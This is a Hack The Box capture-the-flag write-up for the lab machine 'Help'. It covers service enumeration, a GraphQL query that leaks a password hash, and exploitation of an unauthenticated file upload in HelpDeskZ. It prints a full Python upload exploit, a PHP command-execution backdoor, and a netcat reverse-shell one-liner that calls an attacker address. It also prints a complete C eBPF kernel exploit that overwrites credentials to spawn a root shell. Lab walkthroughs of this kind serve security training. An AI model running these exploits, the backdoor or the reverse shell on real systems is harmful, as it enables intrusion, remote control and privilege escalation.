Hack The Box - Help

Quick Summary

Hey guys today Help retired and here’s my write-up about it. Help was a nice easy machine, I don’t really have much to say about it. To get an initial shell on the box we will exploit a non-authenticated file upload vulnerability in a web application called HelpDeskZ. This vulnerability could be exploited in two ways either by editing the exploit to include a higher range or by getting credentials to the web app and editing some settings to make the exploit work. After getting a shell the privilege escalation part is just a kernel exploit. It’s a Linux box and its ip is 10.10.10.121 I added it to /etc/hosts as help.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC help.htb

We got ssh on port 22 and http on two ports : 80 and 3000. What’s running on port 80 is an Apache2 server and on port 3000 is Node.js Express Framework.

HTTP Initial Enumeration

On port 80 there’s just the default Apache index page :

So I ran gobuster and got these results :
gobuster -u http://help.htb/ -w /usr/share/wordlists/dirb/common.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://help.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/06/07 13:03:25 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
/support (Status: 301)
=====================================================
2019/06/07 13:05:25 Finished
=====================================================

I went to /support and there was a web application called HelpDeskZ :

File Upload Vulnerability

A quick search and I found an unauthenticated file upload vulnerability that takes advantage of the weak file renaming function that’s responsible for renaming tickets attachments and the ability to upload php files because they are allowed by default.

HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file. -exploit-db

I wanted to test if I can really upload php so I went to Submit a Ticket and I attached a test file :



And I got File is not allowed.
Luckily HelpDeskZ is an open-source application so I checked the source on github.
The script that handles tickets submissions is called new-ticket.php. It can be found in includes/parser.
Here’s the part for the attachments :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(is_array($attachments)){
$save_dir = UPLOAD_DIR;
foreach($attachments as $attachment) {
// get the attachment name
$filename = $attachment->filename;
// write the file to the directory you want to save it in
if ($fp = fopen($save_dir.$filename, 'w')) {
while($bytes = $attachment->read()) {
fwrite($fp, $bytes);
}
fclose($fp);
}

$filesize = @filesize(UPLOAD_DIR.$filename);
if($filesize){
$fileinfo = array('name' => $filename, 'size' => $filesize);
$fileverification = verifyAttachment($fileinfo);
if($fileverification['msg_code'] == 0){
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$filename_encoded = md5($filename.time()).".".$ext;
$data = array('name' => $filename, 'enc' => $filename_encoded, 'filesize' => $filesize, 'ticket_id' => $ticketid, 'msg_id' => $message_id, 'filetype' => $attachment->content_type);
$db->insert(TABLE_PREFIX."attachments", $data);
rename(UPLOAD_DIR.$filename, UPLOAD_DIR.'tickets/'.$filename_encoded);
}else{
unlink(UPLOAD_DIR.$filename);
}
}
}

It takes the file and uploads it then there’s an if statement that checks the result of passing $fileinfo to a function called verifyAttachment. If the function returned 0 it will rename the file. If it’s not 0 it will delete the file (unlink(UPLOAD_DIR.$filename)) . This function can be found in functions.php in includes/.
verifyAttachment() :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function verifyAttachment($filename){
global $db;
$namepart = explode('.', $filename['name']);
$totalparts = count($namepart)-1;
$file_extension = $namepart[$totalparts];
if(!ctype_alnum($file_extension)){
$msg_code = 1;
}else{
$filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");
if($filetype['total'] == 0){
$msg_code = 2;
}elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
$msg_code = 3;
$misc = formatBytes($filetype['size']);
}else{
$msg_code = 0;
}
}
$data = array('msg_code' => $msg_code, 'msg_extra' => $misc);
return $data;
}

This function runs several checks on the file, but interestingly it doesn’t check for allowed file extensions. This means that if the file passed these checks the function will return 0 and the file will be renamed and successfully uploaded no matter what’s the extension of that file and the message that says : File is not allowed. is meaningless.
If we take a look at how the application renames files it gets the md5 hash of the filename concatenated with the time of upload then it concatenates that hash with the original file extension. And that’s how the exploit finds the uploaded file. But there’s a small problem about time, running the exploit on our box would use our local time. If the timezone of the web app is different from the timezone of our box the exploit will fail to find the file because it will use a wrong time.
If we take a look at the exploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()

url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)

print "Sorry, I did not find anything"

We can solve this problem by iterating over a higher range than 300 : for x in range(0, 300)
This will make it try different hashes according to different times until it finds the file, you can call it a bruteforce attack. That will be easy let’s look at another solution. Another solution is to get credentials to login to the web app and edit the timezone in the settings to make it the same as ours.

Node.js, Getting Credentials

We saw earlier that port 3000 was open and running Node.js Express framework and we haven’t looked at that yet.

By going to http://help.htb:3000/ I got this response of a message saying : "Hi Shiv, To get access please find the credentials with given query", I tried /test and got this :

tbh the next step involved a lot of guessing/fuzzing with custom wordlists and random things based on google searches about node.js, node.js queries and other related stuff. After a lot of attempts to find something when I tried /graphql I got this response :

So I added ?query and got a syntax error :
http://help.htb:3000/graphql?query

That’s fine, I tried requesting a query, for example user :
http://help.htb:3000/graphql?query={user} :

It says that user must have a selection of subfields so I tried username :
http://help.htb:3000/graphql?query={user{username}} :

Great, let’s get the password :
http://help.htb:3000/graphql?query={user{password}} :

I used crackstation to crack the hash and got this password :
5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
Now we have the credentials : helpme@helpme.com : godhelpmeplz

File Upload Exploitation, Reverse Shell and User Flag

I edited the path of the uploads in the exploit, instead of helpdeskzBaseUrl+md5hash+'.php' I made it :

1
helpdeskzBaseUrl+'/uploads/tickets/'+md5hash+'.php'

I got that path from the github repository).
Exploit after edits :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()

url = helpdeskzBaseUrl+'/uploads/tickets/'+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)

print "Sorry, I did not find anything"

I went to the settings and changed the timezone to the same timezone as mine :

The php file I’m going to upload is simple-backdoor.php which can be found in /usr/share/webshells/php/simple-backdoor.php in kali :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!-- http://michaeldaw.org 2006 -->

I submitted the ticket :

Then I ran the exploit and it found the file immediately :
python exploit.py http://10.10.10.121/support/ rick.php

1
http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php

1
http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php?cmd=whoami


It’s working, let’s get a reverse shell, I used this payload (url encoded) :

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
1
http://help.htb/support/uploads/tickets/11559b997fcb9a724cbc0e2a6a4b98a3.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff



We owned user.

Kernel Exploit, Privilege Escalation and Root Flag

Privilege escalation on this machine was very easy, just a kernel exploit. One of the first things to check after getting a shell is the system info :
uname -a

That kernel version is vulnerable to a local privilege escalation vulnerability and there’s an exploit published for it.
exploit.c :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}

static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

if (progfd < 0)
__exit(strerror(errno));

if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));

if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}

static void writemsg(void) {
char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();

static uint64_t get_value(int key) {
uint64_t value;

if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));

return value;
}

static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);

return get_value(2);
}

static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);

return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}

static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;

fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");

sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");

task_struct = __read(sp);

if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");

printf("task_struct = %lx\n", task_struct);

credptr = __read(task_struct + CRED_OFFSET); // cred

if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");

printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}

__exit("not vulnerable?");
}

int main(int argc, char **argv) {
prep();
pwn();

return 0;
}

I ran a python server to host the exploit then I downloaded it on the box :

Then I compiled the exploit and ran it :
gcc -o exploit exploit.c

And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Sizzle
Next Hack The Box write-up : Hack The Box - FluJab